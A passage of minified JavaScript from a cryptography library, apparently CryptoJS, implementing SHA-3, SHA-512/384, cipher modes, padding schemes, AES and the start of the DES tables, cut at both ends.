2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 